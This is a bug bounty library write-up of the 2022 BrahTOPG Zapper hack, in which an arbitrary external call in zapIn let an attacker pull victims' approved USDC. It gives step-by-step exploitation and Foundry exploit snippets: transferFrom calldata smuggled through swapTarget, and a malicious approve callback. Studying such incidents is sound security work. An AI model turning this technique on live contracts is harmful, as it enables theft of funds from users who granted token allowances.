# BrahTOPG Zapper: arbitrary external call drains victim USDC allowance

BrahTOPG Zapper's zapIn made arbitrary external calls with attacker-controlled swapTarget and callData, letting an attacker transferFrom a victim's USDC allowance to steal ~$89k.

- Payout: Real-world hack
- Severity: high
- Program: BrahTOPG
- Analysis by: DeFiHackLabs
- Disclosed: 2022-11-09
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-11/BrahTOPG_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221109-brahtopg
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** Zapper contract (zapIn) on Ethereum mainnet
**Root cause:** zapIn trusted caller-supplied swapTarget and callData and executed an arbitrary external call, so any caller could invoke any contract/function, including USDC.transferFrom on a victim who had approved the Zapper.
**Steps:**
1. Attacker funds contract with 1e15 wei and swaps WETH to FRAX via Uniswap V2 router.
2. Read victim USDC balance and allowance to Zapper at 0xD248B30A3207A766d318C7A87F5Cf334A439446D; amount = min(balance, allowance).
3. Build callData `transferFrom(address,address,uint256)` with victim as sender, attacker as recipient, amount.
4. Call `zappper.zapIn(ZapData{requiredToken: attacker, amountIn: 1, minAmountOut: 0, allowanceTarget: attacker, swapTarget: USDC, callData: data})`.
5. Zapper executes USDC.transferFrom(victim, attacker, amount), moving victim's USDC to attacker.
**How found:** Likely source review of zapIn: noticing swapTarget and callData are fully caller-controlled and passed to a low-level call without allowlisting, then checking which tokens victims had approved to the contract.
**Exploitation:** Attacker needed a victim who had granted USDC allowance to the Zapper. By setting swapTarget to the USDC token and callData to transferFrom(victim, attacker, amount), the Zapper's arbitrary call pulled the victim's approved USDC directly to the attacker; ~$89k lost in the referenced tx.
**Insight:** In zapper/router-style contracts, treat swapTarget and callData as untrusted: check whether any approved token's transferFrom can be smuggled through the arbitrary call, and scan allowances to the contract to size the loot.

## Proof of concept (copied exactly from the original report)

**Foundry exploit calling zapIn with transferFrom calldata**

```
bytes memory data =
            abi.encodeWithSignature("transferFrom(address,address,uint256)", victimAddress, address(this), amount);
        Zapper.ZapData memory zapData = Zapper.ZapData({
            requiredToken: address(this),
            amountIn: 1,
            minAmountOut: 0,
            allowanceTarget: address(this),
            swapTarget: address(USDC),
            callData: data
        });
        zappper.zapIn(zapData);
```

**Malicious approve callback transferring FRAX to zapper**

```
function approve(address spender, uint256 amount) external returns (bool) {
        FRAX.transfer(address(zappper), 10);
        return true;
    }
```

